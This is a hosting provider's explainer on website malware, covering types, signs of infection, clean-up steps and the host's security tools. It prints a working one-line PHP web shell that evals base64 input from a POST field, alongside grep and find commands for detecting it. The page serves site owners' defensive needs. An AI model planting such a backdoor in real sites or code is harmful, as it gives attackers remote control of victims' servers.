Skip to content
Security2 min read

What is website malware?

Short answer

Website malware is files or code an attacker plants in a site or its database, usually through an outdated plugin or a weak password. It's used to redirect visitors elsewhere, send spam, steal data, or keep a backdoor open for the attacker.

ArabyHost teamLast updated: ShareWhatsAppXLinkedIn
Contents
  1. Common types
  2. Signs of infection
  3. Example: what malicious code looks like
  4. Clean-up in brief
  5. On ArabyHost

Most sites aren’t hacked because they matter but because they’re easy. Automated tools scan the internet for an old version of a popular plugin and plant code, without the attacker ever looking at your site specifically.

Common types

Type What it does
Backdoor / web shell Lets the attacker come back and run commands even after passwords change
Malicious redirect Sends visitors to gambling or scam sites
SEO spam Adds hidden pages and links for products unrelated to your site
Mailer script Sends thousands of spam emails, damaging the domain’s reputation
Card skimmer Captures payment details on a store’s checkout page

Signs of infection

  • “This site may be hacked” in Google results, or a red browser warning.
  • PHP files you didn’t upload, especially inside wp-content/uploads.
  • New WordPress admin accounts you don’t recognise.
  • Lots of bounces for mail you never sent, or sending blocked on your account.

Example: what malicious code looks like

<?php @eval(base64_decode($_POST['x'])); ?>

That single line is a complete backdoor: it runs whatever code the attacker sends. To search for this pattern over SSH:

grep -rl --include="*.php" "eval(base64_decode" ~/public_html
find ~/public_html/wp-content/uploads -name "*.php"

The second command lists any PHP file in the uploads folder, a place that shouldn’t contain PHP at all.

Clean-up in brief

  1. Save a copy of the current state for analysis, then restore a clean backup from before the infection.
  2. Update WordPress, plugins and themes, and delete anything you don’t use.
  3. Change every password: admin, database, FTP and email.

Full steps are in the clean a hacked site guide.

On ArabyHost

Imunify360 scans files for malware on ArabyHost servers, and CloudLinux CageFS isolates each account so an infection can’t spread between accounts. JetBackup keeps a daily backup you can restore from. SSH tools are available on AI/Developer plans; on other plans, use the File Manager to search.

FAQ

How does a site get infected?

Most often through an outdated plugin or theme with a known flaw, a pirated theme from an unofficial source, or a weak admin or FTP password. The server itself is rarely the cause.

Is deleting the infected file enough?

No. The attacker has usually left backdoors elsewhere, and the hole they came in through is still open. Close the hole, change every password and scan the whole site.

Why does my site look fine to me but infected to visitors?

Some malware hides from logged-in admins, or only redirects visitors arriving from Google or on mobile. Check the site in a private window and over mobile data.

Useful? Share it with someone who needs it:WhatsAppXLinkedIn

Read next

Ready to put your idea online?

Fast, isolated hosting, support that understands you, and an AI assistant that fixes problems with you.